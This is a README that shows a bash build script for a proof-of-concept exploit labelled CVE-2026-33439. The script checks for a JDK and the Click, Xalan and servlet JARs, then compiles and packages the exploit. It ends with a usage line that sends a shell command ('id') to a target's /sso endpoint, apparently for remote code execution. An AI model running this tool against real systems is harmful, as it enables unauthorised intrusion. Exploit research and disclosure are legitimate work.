README.md
Rendering markdown...
#!/bin/bash
set -e
cd "$(dirname "$0")"
echo "[*] CVE-2026-33439 Echo PoC — Build Script"
echo ""
JAVAC=$(which javac 2>/dev/null || true)
if [ -z "$JAVAC" ]; then
echo "[-] javac not found. Install a JDK (11+)."
exit 1
fi
JDK_VER=$(javac -version 2>&1 | grep -oP '\d+' | head -1)
echo "[+] Java compiler version: $JDK_VER"
for jar in click-nodeps-2.3.0.jar xalan-2.7.1.jar serializer-2.7.3.jar javax.servlet-api-4.0.1.jar; do
if [ ! -f "lib/$jar" ]; then
echo "[-] Missing: lib/$jar"
exit 1
fi
done
echo "[+] All dependency JARs found in lib/"
echo "[*] Compiling..."
mkdir -p build
javac -cp "lib/*" -d build src/CVE_2026_33439_Echo.java
echo "[+] Compiled successfully"
echo "[*] Packaging JAR..."
jar cfm CVE-2026-33439-Echo.jar MANIFEST.MF -C build .
echo "[+] Built: CVE-2026-33439-Echo.jar"
rm -rf build
echo ""
echo "[*] Usage:"
echo " java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'"
echo "[+] Build directory cleaned up"